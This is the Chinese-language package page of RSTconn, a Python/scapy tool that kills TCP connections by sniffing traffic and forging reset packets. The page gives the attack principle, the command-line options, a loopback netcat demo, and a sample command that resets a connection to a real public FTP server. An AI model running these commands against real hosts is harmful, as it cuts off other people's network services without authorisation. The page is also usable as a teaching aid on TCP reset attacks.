用python和scapy编写的TCPKill工具
项目描述
RSTconn
RSTconn是一个实现TCP重置攻击的实用程序。RSTconn适用于IPv4和IPv6,是用python和scapy编写的。
RSTconn是如何工作的
RESET是TCP数据包中的一个标志,用于指示连接不再有效。如果在TCP连接的两个参与者中任何一个发送包含此类RESET标志的数据包,连接将立即关闭。
因此,如果攻击者可以从任意一方伪造TCP数据包(如果他或她知道他们的IP、端口和当前TCP连接的序列号),就可以用它来攻击TCP连接。
如果我们知道上述信息,可以使用该攻击使某些用户无法使用基于TCP的特定网络服务。
实际上,我们应该监听受害者的通信以获取他们的IP、端口和序列号。
我们通过过滤TCP数据包并找到我们想要攻击的最新数据包来实现这一点。
设置
pip install rstconn
用法
rstconn kills network connections.
optional arguments:
-h, --help show this help message and exit
--iface {lo,enp0s25,lxcbr0,docker0,br-d316e57def52,vethd4f41f0,veth6fa5336, ...}, -i {...}
Interface where to listen to
--server-ip SERVER_IP, -sip SERVER_IP
IPv4 or hostname
--client-ip CLIENT_IP, -cip CLIENT_IP
IPv4 or hostname
--server-port SERVER_PORT, -p SERVER_PORT
Server port
--packet-count PACKET_COUNT, -pc PACKET_COUNT
sends N RST packets
--seq-jitter SEQ_JITTER, -sj SEQ_JITTER
Set seq_jitter to be non-zero in order to prove to yourself that the
sequence number of a RST segment does indeed need to be exactly equal
to the last sequence number ACK-ed by the receiver
--ignore-syn, -is if a Packet has SYN flag, not sending RST
--window-size WINDOW_SIZE, -ws WINDOW_SIZE
Window size
-d {CRITICAL,ERROR,WARNING,INFO,DEBUG}, --debug {CRITICAL,ERROR,WARNING,INFO,DEBUG}
Debug level, see python logging; defaults to INFO if omitted
-m, --monitor Just sniff traffic without sendin RST
-v, --version Print version and exit
RSTconn监听匹配的连接,然后向客户端发送一系列SYN/ACK和RST数据包以终止连接。
数据包的数量可以通过--packet-count
配置,--iface
和--server-ip
以及--server-port
与要监听的本地服务器端口相关。
rstconn -i lo --server-ip 127.0.0.1 --server-port 8000 --packet-count 50
演示
apt install netcat
- 设置TCP连接。在一个终端窗口中运行
nc -nvl 8000
以设置服务器 - 在另一个终端窗口中运行
nc 127.0.0.1 8000
以连接到服务器 - 在第三个窗口中运行
rstconn
以运行我们的嗅探程序
你应该会看到嗅探程序日志输出一些内容,发送一个RST数据包,nc连接应该会断开。
如果你想在IPv6上测试rstconn,可以使用以下命令
nc ::1 8000
nc -nvl ::1 8000
rstconn -i lo --server-ip "::1" --server-port 8000 -pc 33
用法示例
重置到ftp.gnu.org的连接
rstconn -i enp0s25 --server-ip ftp.gnu.org
在客户端我们会看到
ftp> ls
421 Service not available, remote server has closed connection
没有服务器/客户端IP,只使用端口
rstconn -i lo --server-port 8000
致谢
- https://gist.github.com/spinpx/263a2ed86f974a55d35cf6c3a2541dc2
- https://github.com/robert/how-does-a-tcp-reset-attack-work
参考资料
- Watson, P.: Slipping in the Window: TCP Reset attacks. (2004)
项目详情
关闭
rstconn-0.5.1.tar.gz的散列值
算法 | 散列摘要 | |
---|---|---|
SHA256 | 5822aa58715957311570eaf411e3fc25bf772b073173784a5622fe7e50424b4b |
|
MD5 | 3dc43847f468acbfb7aba5237cbb7307 |
|
BLAKE2b-256 | 8ec0ae0c1cba3bdfbb7e6aacc29fda4f0f38de283e051e843b40583b89bad8f3 |